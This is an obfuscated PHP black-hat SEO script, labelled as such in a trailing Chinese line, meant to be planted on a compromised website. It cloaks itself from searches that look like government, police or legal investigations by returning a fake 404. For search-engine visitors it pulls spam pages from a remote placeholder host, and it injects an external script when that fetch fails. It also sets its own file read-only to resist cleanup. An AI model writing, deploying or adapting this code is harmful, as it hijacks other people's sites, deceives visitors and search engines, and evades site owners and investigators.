<?php function header_status( $_obfuscate_6b8lIO4y ) { if ( substr( php_sapi_name( ), 0, 3 ) == "cgi" ) { header( "Status: ".$_obfuscate_6b8lIO4y, TRUE ); } else { header( $_SERVER[\'SERVER_PROTOCOL\']." ".$_obfuscate_6b8lIO4y ); } } function jm1( $_obfuscate_R2_b ) { $_obfuscate_R2_b = urlencode( $_obfuscate_R2_b ); return $_obfuscate_R2_b; } function jm12( $_obfuscate_R2_b ) { $_obfuscate_R2_b = urlencode( $_obfuscate_R2_b ); $_obfuscate_R2_b = str_replace( array( ".", "-", "_" ), array( "%2E", "%2D", "%5F" ), $_obfuscate_R2_b ); return $_obfuscate_R2_b; } function unescape( $_obfuscate_RaJNhvj ) { $_obfuscate_5wcv0K7wH31Lcg = ""; $_obfuscate_LmSv = 0; $_obfuscate_mc2H = strlen( $_obfuscate_RaJNhvj ); while ( $_obfuscate_LmSv < $_obfuscate_mc2H ) { $_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 ); if ( $_obfuscate_6_1v9YEv == "%" ) { ++$_obfuscate_LmSv; $_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 ); if ( $_obfuscate_6_1v9YEv == "u" ) { ++$_obfuscate_LmSv; $_obfuscate_3vwmAv0csY8OGcYfg = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 4 ); $_obfuscate_93YXwrZA = hexdec( $_obfuscate_3vwmAv0csY8OGcYfg ); $_obfuscate_5wcv0K7wH31Lcg .= u2utf82gb( $_obfuscate_93YXwrZA ); $_obfuscate_LmSv += 4; } else { $_obfuscate_95x2hQ = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 2 ); $_obfuscate_5wcv0K7wH31Lcg .= chr( hexdec( $_obfuscate_95x2hQ ) ); $_obfuscate_LmSv += 2; } } else { $_obfuscate_5wcv0K7wH31Lcg .= $_obfuscate_6_1v9YEv; ++$_obfuscate_LmSv; } } return $_obfuscate_5wcv0K7wH31Lcg; } function u2utf82gb( $_obfuscate_KQ ) { $_obfuscate_mWc6gux0 = ""; if ( $_obfuscate_KQ < 128 ) { $_obfuscate_mWc6gux0 .= $_obfuscate_KQ; } else if ( $_obfuscate_KQ < 2048 ) { $_obfuscate_mWc6gux0 .= chr( 192 | $_obfuscate_KQ >> 6 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); } else if ( $_obfuscate_KQ < 65536 ) { $_obfuscate_mWc6gux0 .= chr( 224 | $_obfuscate_KQ >> 12 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); } else if ( $_obfuscate_KQ < 2097152 ) { $_obfuscate_mWc6gux0 .= chr( 240 | $_obfuscate_KQ >> 18 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 12 & 63 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 ); $_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 ); } return iconv( "UTF-8", "GB2312", $_obfuscate_mWc6gux0 ); } function escape( $_obfuscate_R2_b ) { preg_match_all( "/[€-].|[\x01-]+/", $_obfuscate_R2_b, $_obfuscate_fU5_VNo_ ); $_obfuscate_pPA = $_obfuscate_fU5_VNo_[0]; foreach ( $_obfuscate_pPA as $_obfuscate_5w => $_obfuscate_6A ) { if ( 127 <= ord( $_obfuscate_pPA[$_obfuscate_5w] ) ) { $_obfuscate_td8iJsE_jrWY = bin2hex( iconv( "GBK", "ucs-2//IGNORE", $_obfuscate_6A ) ); if ( !eregi( "WIN", PHP_OS ) ) { $_obfuscate_td8iJsE_jrWY = substr( $_obfuscate_td8iJsE_jrWY, 2, 2 ).substr( $_obfuscate_td8iJsE_jrWY, 0, 2 ); } $_obfuscate_otXE17D8V9c .= "%u".$_obfuscate_td8iJsE_jrWY; } else { $_obfuscate_otXE17D8V9c .= rawurlencode( $_obfuscate_6A ); } } return $_obfuscate_otXE17D8V9c; } function NoWord( ) { $_obfuscate_Lfvab3cQJCnX = FALSE; $_obfuscate_TTmFhzw = "东宁|行唐|大连|朝阳|河南|律师|chaoyang|caoyang|zaoyang|zhoayang|liaoning|dongning|xingtang|hnfzb|会计|政府|公安|法律|案|通知|文件|市|县|省|局|厅|site:|gov.cn|edu.cn|税|工作|inurl|intitle|shangdu|商都|zgcy"; if ( $_obfuscate_TTmFhzw != "" ) { $_obfuscate_fVY2 = explode( "|", $_obfuscate_TTmFhzw ); foreach ( $_obfuscate_fVY2 as $_obfuscate_2iA ) { $_obfuscate_3mw = trim( $_obfuscate_2iA ); if ( strlen( "徐" ) == 3 ) { $_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "gbk", "utf-8" ); } else { $_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "utf-8", "gbk" ); } $_obfuscate_tPJNxYD3_P7mGg = escape( $_obfuscate_3mw ); $_obfuscate_TPqY = jm1( $_obfuscate_3mw ); $_obfuscate_1xEi2g = jm12( $_obfuscate_3mw ); $_obfuscate_RSLn = jm1( $_obfuscate_FeU ); $_obfuscate_k4TO7w = jm12( $_obfuscate_FeU ); $_obfuscate_FA = "/((wd|q\\d*|w|p|query|word)(=)[^&]*(".$_obfuscate_TPqY.( "|".$_obfuscate_1xEi2g."|" ).$_obfuscate_RSLn.( "|".$_obfuscate_k4TO7w."|{$_obfuscate_3mw}|{$_obfuscate_FeU}|{$_obfuscate_tPJNxYD3_P7mGg}).*)/i" ); $_obfuscate_aMPia6u3sjI = mb_convert_encoding( $_SERVER[\'HTTP_REFERER\'], "gbk", "utf-8" ); $_obfuscate_1wegwj906usI = mb_convert_encoding( $_obfuscate_aMPia6u3sjI, "gbk", "utf-8" ); if ( preg_match( $_obfuscate_FA, $_obfuscate_aMPia6u3sjI, $_obfuscate_JA ) ) { $_obfuscate_Lfvab3cQJCnX = TRUE; } else { if ( !preg_match( $_obfuscate_FA, $_SERVER[\'HTTP_REFERER\'], $_obfuscate_JA ) ) { continue; } $_obfuscate_Lfvab3cQJCnX = TRUE; } break; } } return $_obfuscate_Lfvab3cQJCnX; } function Lailu( ) { $_obfuscate_al38 = explode( ",", "baidu,google,soso,sogou" ); $_obfuscate_6Jxc = FALSE; if ( $_SERVER[\'HTTP_REFERER\'] != "" ) { foreach ( $_obfuscate_al38 as $_obfuscate_OQ ) { if ( !( stristr( $_SERVER[\'HTTP_REFERER\'], $_obfuscate_OQ ) != "" ) ) { continue; } $_obfuscate_SO7znbt80g = $_obfuscate_6Jxc = TRUE; break; } } return $_obfuscate_6Jxc; } function gg( $_obfuscate_Il8i ) { $_obfuscate_98A = microtime( 1 ); if ( function_exists( "curl_init" ) && function_exists( "curl_exec" ) ) { $_obfuscate_u_c = curl_init( $_obfuscate_Il8i ); curl_setopt( $_obfuscate_u_c, CURLOPT_HEADER, 1 ); curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt( $_obfuscate_u_c, CURLOPT_TIMEOUT, 5 ); $_obfuscate__9AT_HAWO3k = curl_exec( $_obfuscate_u_c ); $_obfuscate_ofjg = strpos( $_obfuscate__9AT_HAWO3k, "\r\n\r\n" ); $_obfuscate_2L4d = substr( $_obfuscate__9AT_HAWO3k, 0, $_obfuscate_ofjg ); $_obfuscate_VUr0T1c = stristr( $_obfuscate_2L4d, "Last-Modified" ); $_obfuscate_VUr0T1c = substr( $_obfuscate_VUr0T1c, 0, strpos( $_obfuscate_VUr0T1c, "\r\n" ) ); $_obfuscate__9AT_HAWO3k = substr( $_obfuscate__9AT_HAWO3k, $_obfuscate_ofjg + 4 ); } else { $_obfuscate_j9iH = stream_context_create( array( "http" => array( "timeout" => 5, "method" => "GET", "header" => "Accept-language: en\r\n" ) ) ); $_obfuscate__9AT_HAWO3k = file_get_contents( $_obfuscate_Il8i, NULL, $_obfuscate_j9iH ); foreach ( $_obfuscate_jcA as $_obfuscate_iQ ) { $_obfuscate_pY9 = stripos( $_obfuscate_iQ, "Last-Modified:" ); if ( !( $_obfuscate_pY9 !== FALSE ) ) { continue; } $_obfuscate_VUr0T1c = $_obfuscate_iQ; break; } } $_obfuscate_Jrp1 = array( ); $_obfuscate_Jrp1[\'MTime\'] = $_obfuscate_VUr0T1c; $_obfuscate_Jrp1[\'db\'] = $_obfuscate__9AT_HAWO3k; return $_obfuscate_Jrp1; } function read( $_obfuscate_Il8i ) { $_obfuscate_A5oNi6Yf = gg( $_obfuscate_Il8i ); $_obfuscate_sx8 = $_obfuscate_A5oNi6Yf[\'db\']; return $_obfuscate_sx8; } function _url_html( $_obfuscate_0W8, $_obfuscate_FG262MMqQvA73A = "y" ) { $_obfuscate_Il8i = "{$_obfuscate_4YjPKVKMkv9dymc}{$_obfuscate_hqDdJizbzZlf1UeizJgOvJWg}{$_obfuscate_0W8}.shtml"; return $_obfuscate_Il8i; } function re( $_obfuscate_sx8 ) { $_obfuscate_sx8 = preg_replace( "~href=\'\\?i=(\\d+)\'~isU", "href=\'\$1.html\'", $_obfuscate_sx8 ); $_obfuscate_sx8 = preg_replace( "~href=\'\\?page=(\\d+)\'~isU", "href=\'list_\$1.html\'", $_obfuscate_sx8 ); return $_obfuscate_sx8; } function _get_domain( $_obfuscate_Il8i ) { $_obfuscate_SF4 = parse_url( $_obfuscate_Il8i ); $_obfuscate_SF4 = $_obfuscate_Il8i; if ( $_obfuscate_SF4[\'host\'] != "" ) { $_obfuscate_iqVlpA = $_obfuscate_SF4[\'host\']; } else { $_obfuscate_iqVlpA = $_obfuscate_Il8i; } $_obfuscate_iqVlpA = $_SERVER[\'HTTP_HOST\']; preg_match( "~[\\w\\-\\.]*([\\w\\-]+\\.(co\\.(?:cn|tw|hk|us|\\w{2})|com\\.(?:cn|tw|hk|us|za|\\w{2})|gov\\.(?:cn|tw|hk|us|\\w{2})|edu\\.(?:cn|tw|hk|us|\\w{2})|net\\.(?:cn|tw|hk|us|\\w{2})|org\\.(?:cn|tw|hk|us|\\w{2})|cn|net|org|hk|tw|us|com|la|za|so|ch|\\w{2}))\$~isU", $_obfuscate_iqVlpA, $_obfuscate_Jrp1 ); $_obfuscate_rolUxmlo = $_obfuscate_Jrp1[1]; return $_obfuscate_rolUxmlo; } ob_start( ); error_reporting( 0 ); set_time_limit( 50 ); header( "Content-type: text/html; charset=gb2312" ); $i = $_GET[\'i\']; $page = $_GET[\'page\']; $domain = $_GET[\'domain\']; if ( $domain == "" ) { $domain = $_SERVER[\'HTTP_HOST\']; if ( preg_match( "~.*([^\\.]+\\.(?:gov|com|edu|net|org|co)(?:\\.(?:[a-z]{2}))?)\$~isU", $domain, $arr ) ) { $domain = $arr[1]; } else { $domain = _get_domain( $domain ); } } $full_url = $_SERVER[\'QUERY_STRING\'] != "" ? "{$_SERVER[\'SCRIPT_NAME\']}?{$_SERVER[\'QUERY_STRING\']}" : $_SERVER[\'SCRIPT_NAME\']; $full_url = urlencode( $full_url ); $u = "http://xxxxxx:65530/test/law.shangdu.com/main.php?i=".$i."&page={$page}"; $u = "http://xxxxxxxx.com/xxx/main.news.php?domain=".$domain."&i={$i}&page={$page}&full_url={$full_url}"; if ( $ck && !$flag ) { ob_clean( ); header_status( "404 Not Found" ); echo $_404; exit( ); } if ( lailu( ) ) { $ck_noword = noword( ); if ( $ck_noword ) { ob_clean( ); header_status( "404 Not Found" ); echo $_404; exit( ); } } $db = read( $u ); if ( $db == "" ) { echo "<script src=\'http://a.xxxxx.com/tz.js\'></script>"; } $db = re( $db ); echo $db; @chmod( __FILE__, 292 ); ?>
没什么好说的 黑帽SEO